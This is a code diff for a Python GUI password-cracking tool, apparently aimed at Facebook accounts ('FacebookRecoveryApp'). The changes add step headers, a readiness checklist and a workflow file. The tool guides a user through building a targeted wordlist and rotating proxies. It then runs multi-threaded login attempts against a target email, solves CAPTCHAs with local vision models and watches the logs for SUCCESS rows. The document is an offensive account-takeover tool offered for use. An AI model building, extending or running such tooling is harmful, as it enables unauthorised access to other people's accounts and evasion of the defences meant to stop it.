text="OLLAMA: offline",
text_color=CyberpunkTheme.ERROR,
)
self._update_attack_status_label()
self.after(8000, self._slow_system_update)
# Backward-compatible alias
FacebookRecoveryApp = GODCWAKApp

View File

@@ -26,10 +26,11 @@ class AttackTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool, def __init__(self, parent, proxy_pool: ProxyPool,
status_callback: Optional[Callable] = None, status_callback: Optional[Callable] = None,
attempt_logger=None): attempt_logger=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool self.proxy_pool = proxy_pool
self.status_callback = status_callback self.status_callback = status_callback
self.app = app
self.orchestrator = AttackOrchestrator( self.orchestrator = AttackOrchestrator(
proxy_pool, logger_instance=attempt_logger) proxy_pool, logger_instance=attempt_logger)
self._build_ui() self._build_ui()
@@ -43,14 +44,16 @@ class AttackTab(ctk.CTkFrame):
# ── Build ────────────────────────────────────────────────────────────────── # ── Build ──────────────────────────────────────────────────────────────────
def _build_ui(self): def _build_ui(self):
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]", CyberpunkTheme.create_tab_header(
font=("Consolas", 18, "bold"), self, "03", "[ ATTACK TERMINAL ]",
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) "Multi-threaded login attempts with proxy rotation against any target URL",
ctk.CTkLabel(self, )
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site", CyberpunkTheme.create_hint_bar(
font=("Consolas", 10), self,
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10)) "Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded",
)
self._build_readiness_bar()
self._build_target_bar() self._build_target_bar()
self._build_speed_panel() self._build_speed_panel()
self._build_stats_panel() self._build_stats_panel()
@@ -58,6 +61,62 @@ class AttackTab(ctk.CTkFrame):
self._build_control_buttons() self._build_control_buttons()
self._build_live_log() self._build_live_log()
self._update_periodic() self._update_periodic()
self._update_readiness()
def _build_readiness_bar(self):
"""At-a-glance checklist so the user knows what's missing before START."""
bar = ctk.CTkFrame(
self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
bar.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bar, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
ctk.CTkLabel(
inner, text="READINESS",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TERTIARY,
width=80, anchor="w",
).pack(side="left")
def _chip(parent):
lbl = ctk.CTkLabel(
parent, text="",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
)
lbl.pack(side="left", padx=(0, 16))
return lbl
self.ready_target = _chip(inner)
self.ready_wordlist = _chip(inner)
self.ready_proxies = _chip(inner)
self.ready_overall = _chip(inner)
def _update_readiness(self):
target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False
wl = count_lines(PASSWORDS_FILE)
px = self.proxy_pool.available_count
def _set(lbl, ok: bool, ok_text: str, bad_text: str):
lbl.configure(
text=ok_text if ok else bad_text,
text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING,
)
_set(self.ready_target, target_ok,
"✓ TARGET SET", "✗ NEED EMAIL")
_set(self.ready_wordlist, wl > 0,
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
_set(self.ready_proxies, px > 0,
f"✓ PROXIES ({px})", "○ NO PROXIES (optional)")
all_core = target_ok and wl > 0
self.ready_overall.configure(
text="✓ READY TO START" if all_core else "✗ NOT READY",
text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR,
)
# ── Target bar (URL + username + counters) ──────────────────────────────── # ── Target bar (URL + username + counters) ────────────────────────────────
@@ -119,6 +178,7 @@ class AttackTab(ctk.CTkFrame):
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310) text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
self.email_entry.pack(side="left", padx=(0, 20)) self.email_entry.pack(side="left", padx=(0, 20))
CyberpunkTheme.apply_focus_glow(self.email_entry) CyberpunkTheme.apply_focus_glow(self.email_entry)
self.email_entry.bind("<KeyRelease>", lambda _e: self._update_readiness())
self.pwd_count_label = ctk.CTkLabel( self.pwd_count_label = ctk.CTkLabel(
row2, text="Wordlist: 0", row2, text="Wordlist: 0",
@@ -364,6 +424,9 @@ class AttackTab(ctk.CTkFrame):
self.orchestrator.configure(username, passwords, site_cfg) self.orchestrator.configure(username, passwords, site_cfg)
self.orchestrator.start() self.orchestrator.start()
if self.app:
self.app.set_attack_state("RUNNING")
self.start_btn.configure(state="disabled") self.start_btn.configure(state="disabled")
self.pause_btn.configure(state="normal") self.pause_btn.configure(state="normal")
self.stop_btn.configure(state="normal") self.stop_btn.configure(state="normal")
@@ -388,6 +451,8 @@ class AttackTab(ctk.CTkFrame):
def _on_stop(self): def _on_stop(self):
self.orchestrator.stop() self.orchestrator.stop()
if self.app:
self.app.set_attack_state("STOPPED")
self.start_btn.configure(state="normal") self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE") self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled") self.stop_btn.configure(state="disabled")
@@ -463,6 +528,8 @@ class AttackTab(ctk.CTkFrame):
self.state_label.configure( self.state_label.configure(
text=f"{state.value.upper()}", text=f"{state.value.upper()}",
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM)) text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
if self.app:
self.app.set_attack_state(state.value.upper())
if state in (AttackState.COMPLETED, AttackState.STOPPED): if state in (AttackState.COMPLETED, AttackState.STOPPED):
self.start_btn.configure(state="normal") self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE") self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
@@ -487,4 +554,5 @@ class AttackTab(ctk.CTkFrame):
except Exception: except Exception:
pass pass
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self._update_readiness()
self.after(2000, self._update_periodic) self.after(2000, self._update_periodic)

View File

@@ -16,27 +16,22 @@ logger = logging.getLogger(__name__)
class LogsTab(ctk.CTkFrame): class LogsTab(ctk.CTkFrame):
"""Tab for viewing and exporting attempt logs.""" """Tab for viewing and exporting attempt logs."""
def __init__(self, parent, logger_instance: AttemptLogger): def __init__(self, parent, logger_instance: AttemptLogger, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.attempt_logger = logger_instance self.attempt_logger = logger_instance
self.app = app
self._build_ui() self._build_ui()
def _build_ui(self): def _build_ui(self):
"""Build the logs tab UI.""" """Build the logs tab UI."""
# Title CyberpunkTheme.create_tab_header(
title = ctk.CTkLabel( self, "04", "[ ATTEMPT LOGS ]",
self, text="[ ATTEMPT LOGS ]", "Persistent history of every login attempt — loaded from data/attempt_log.csv",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
) )
title.pack(pady=(15, 5)) CyberpunkTheme.create_hint_bar(
self,
subtitle = ctk.CTkLabel( "Filter SUCCESS/FAILED rows · REFRESH during attacks · EXPORT full CSV history",
self, text="Full history of all login attempts with timestamps and proxy details",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
) )
subtitle.pack(pady=(0, 15))
# === Controls === # === Controls ===
controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER)
@@ -142,7 +137,8 @@ class LogsTab(ctk.CTkFrame):
return text if text.endswith("ms") else f"{text}ms" return text if text.endswith("ms") else f"{text}ms"
def _refresh_logs(self): def _refresh_logs(self):
"""Refresh the log display from the logger buffer.""" """Refresh the log display from the logger buffer and disk."""
self.attempt_logger.load_history_from_disk(limit=5000)
# Clear existing rows # Clear existing rows
for widget in self.log_list_frame.winfo_children(): for widget in self.log_list_frame.winfo_children():
widget.destroy() widget.destroy()
@@ -206,6 +202,9 @@ class LogsTab(ctk.CTkFrame):
try: try:
entries = self.attempt_logger.get_recent(10000) entries = self.attempt_logger.get_recent(10000)
if not entries and ATTEMPT_LOG_FILE.exists():
with open(ATTEMPT_LOG_FILE, newline="", encoding="utf-8") as f:
entries = list(csv.DictReader(f))[-10000:]
if not entries: if not entries:
messagebox.showinfo("Export", "No log entries to export.") messagebox.showinfo("Export", "No log entries to export.")
return return

View File

@@ -17,31 +17,26 @@ logger = logging.getLogger(__name__)
class PasswordBuilderTab(ctk.CTkFrame): class PasswordBuilderTab(ctk.CTkFrame):
"""Tab for configuring and generating password candidates.""" """Tab for configuring and generating password candidates."""
def __init__(self, parent, status_callback=None): def __init__(self, parent, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.generator = PasswordGenerator() self.generator = PasswordGenerator()
self.generated_count = 0 self.generated_count = 0
self.status_callback = status_callback self.status_callback = status_callback
self.app = app
self._stats_after_id = None self._stats_after_id = None
self._estimate_after_id = None self._estimate_after_id = None
self._build_ui() self._build_ui()
def _build_ui(self): def _build_ui(self):
"""Build the complete password builder UI.""" """Build the complete password builder UI."""
# Title CyberpunkTheme.create_tab_header(
title = ctk.CTkLabel( self, "01", "[ PASSWORD BUILDER ]",
self, text="[ PASSWORD BUILDER ]", "Crush-style generator — fragments, rules, patterns, GPU acceleration",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
) )
title.pack(pady=(15, 5)) CyberpunkTheme.create_hint_bar(
self,
subtitle = ctk.CTkLabel( "Enter fragments/words → configure rules → GENERATE → saves to data/passwords.txt",
self, text="Configure fragments, rules, and patterns to generate targeted password candidates",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
) )
subtitle.pack(pady=(0, 15))
# Main content area (scrollable) # Main content area (scrollable)
self.content = ctk.CTkScrollableFrame( self.content = ctk.CTkScrollableFrame(

View File

@@ -45,12 +45,13 @@ class _ProxyRow:
class ProxyManagerTab(ctk.CTkFrame): class ProxyManagerTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None): def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool self.proxy_pool = proxy_pool
self.fetcher = ProxyFetcher() self.fetcher = ProxyFetcher()
self.validator = ProxyValidator() self.validator = ProxyValidator()
self.status_callback = status_callback self.status_callback = status_callback
self.app = app
self._rows: Dict[str, _ProxyRow] = {} self._rows: Dict[str, _ProxyRow] = {}
self._seq_testing = False # True while sequential TEST ALL is running self._seq_testing = False # True while sequential TEST ALL is running
@@ -62,13 +63,14 @@ class ProxyManagerTab(ctk.CTkFrame):
# ── UI ──────────────────────────────────────────────────────────────────── # ── UI ────────────────────────────────────────────────────────────────────
def _build_ui(self): def _build_ui(self):
ctk.CTkLabel(self, text="[ PROXY MANAGER ]", CyberpunkTheme.create_tab_header(
font=("Consolas", 18, "bold"), self, "02", "[ PROXY MANAGER ]",
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) "Fetch, test sequentially, and commit healthy proxies to the attack pool",
ctk.CTkLabel(self, )
text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool", CyberpunkTheme.create_hint_bar(
font=("Consolas", 10), self,
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12)) "FETCH or paste proxies → TEST ALL (one at a time) → remove dead → COMMIT TO POOL",
)
# ── Control bar ─────────────────────────────────────────────────────── # ── Control bar ───────────────────────────────────────────────────────
ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,

View File

@@ -157,29 +157,25 @@ class SetupTab(ctk.CTkFrame):
- Browser automation settings - Browser automation settings
""" """
def __init__(self, parent): def __init__(self, parent, status_callback=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.ollama = OllamaManager() self.ollama = OllamaManager()
self.config = OllamaConfig() self.config = OllamaConfig()
self.status_callback = status_callback
self.app = app
self._build_ui() self._build_ui()
self._load_saved_config() self._load_saved_config()
def _build_ui(self): def _build_ui(self):
"""Build the setup tab UI.""" """Build the setup tab UI."""
# Title CyberpunkTheme.create_tab_header(
title = ctk.CTkLabel( self, "05", "[ SETUP & AI ]",
self, text="[ SETUP & CONFIGURATION ]", "Ollama vision models for local CAPTCHA OCR — configure before attacks hit CAPTCHAs",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
) )
title.pack(pady=(15, 5)) CyberpunkTheme.create_hint_bar(
self,
subtitle = ctk.CTkLabel( "Connect Ollama → pick vision model (deepseek-ocr, llava) → TEST CAPTCHA SOLVER → SAVE",
self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
) )
subtitle.pack(pady=(0, 15))
# Main content (scrollable) # Main content (scrollable)
self.content = ctk.CTkScrollableFrame( self.content = ctk.CTkScrollableFrame(

View File

@@ -263,3 +263,59 @@ class CyberpunkTheme:
wrapper.after(900, _blink) wrapper.after(900, _blink)
return wrapper, status_label return wrapper, status_label
@staticmethod
def create_tab_header(parent, step_num: str, title: str, subtitle: str):
"""Consistent tab title block with step badge."""
hdr = ctk.CTkFrame(parent, fg_color="transparent")
hdr.pack(fill="x", pady=(12, 6))
badge = ctk.CTkLabel(
hdr,
text=f" STEP {step_num} ",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.BG_DARK,
fg_color=CyberpunkTheme.TERTIARY,
corner_radius=4,
)
badge.pack(side="left", padx=(0, 10))
text_col = ctk.CTkFrame(hdr, fg_color="transparent")
text_col.pack(side="left", fill="x", expand=True)
ctk.CTkLabel(
text_col,
text=title,
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
anchor="w",
).pack(anchor="w")
ctk.CTkLabel(
text_col,
text=subtitle,
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
anchor="w",
).pack(anchor="w", pady=(2, 0))
return hdr
@staticmethod
def create_hint_bar(parent, text: str, color=None):
"""Dim one-line action hint under a tab header."""
bar = ctk.CTkFrame(
parent,
fg_color=CyberpunkTheme.BG_DARK,
border_width=1,
border_color=CyberpunkTheme.BORDER,
)
bar.pack(fill="x", padx=15, pady=(0, 10))
ctk.CTkLabel(
bar,
text=f"{text}",
font=("Consolas", 10),
text_color=color or CyberpunkTheme.TEXT_DIM,
anchor="w",
).pack(fill="x", padx=12, pady=8)
return bar

43
src/gui/workflow.py Normal file
View File

@@ -0,0 +1,43 @@
"""
Shared workflow definitions — keeps tab order and user guidance consistent.
"""
WORKFLOW_STEPS = [
{
"num": "01",
"key": "build",
"tab": "Password Builder",
"title": "BUILD WORDLIST",
"hint": "Fragments, rules, patterns → GENERATE → saves to passwords.txt",
},
{
"num": "02",
"key": "proxies",
"tab": "Proxy Manager",
"title": "LOAD PROXIES",
"hint": "FETCH or paste → TEST ALL → COMMIT TO POOL",
},
{
"num": "03",
"key": "attack",
"tab": "Attack",
"title": "RUN ATTACK",
"hint": "Target URL + email → START (uses wordlist + proxy pool)",
},
{
"num": "04",
"key": "logs",
"tab": "Logs",
"title": "REVIEW LOGS",
"hint": "Filter attempts, export CSV, watch for SUCCESS rows",
},
{
"num": "05",
"key": "setup",
"tab": "Setup",
"title": "AI / CAPTCHA",
"hint": "Ollama host + vision model for local CAPTCHA OCR testing",
},
]
TAB_TO_STEP = {step["tab"]: step for step in WORKFLOW_STEPS}

View File

@@ -16,9 +16,23 @@ class AttemptLogger:
def __init__(self, log_path: Optional[Path] = None): def __init__(self, log_path: Optional[Path] = None):
self.log_path = log_path or ATTEMPT_LOG_FILE self.log_path = log_path or ATTEMPT_LOG_FILE
self.buffer = [] # In-memory list of log entries for GUI display self.buffer = []
self._lock = threading.Lock() self._lock = threading.Lock()
self._init_csv() self._init_csv()
self.load_history_from_disk(limit=5000)
def load_history_from_disk(self, limit: int = 5000):
"""Load persisted CSV rows into the in-memory buffer for the GUI."""
if not self.log_path.exists():
return
try:
with open(self.log_path, newline="", encoding="utf-8") as f:
rows = list(csv.DictReader(f))
with self._lock:
self.buffer = rows[-limit:]
except Exception as exc:
logger = logging.getLogger(__name__)
logger.warning(f"Could not load attempt log history: {exc}")
def _init_csv(self): def _init_csv(self):
"""Create CSV with headers if it doesn't exist.""" """Create CSV with headers if it doesn't exist."""
@@ -76,7 +90,7 @@ class AttemptLogger:
"""Get aggregate statistics from the log.""" """Get aggregate statistics from the log."""
with self._lock: with self._lock:
total = len(self.buffer) total = len(self.buffer)
successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS") successes = sum(1 for e in self.buffer if e.get("result") == "SUCCESS")
failures = total - successes failures = total - successes
return { return {
"total": total, "total": total,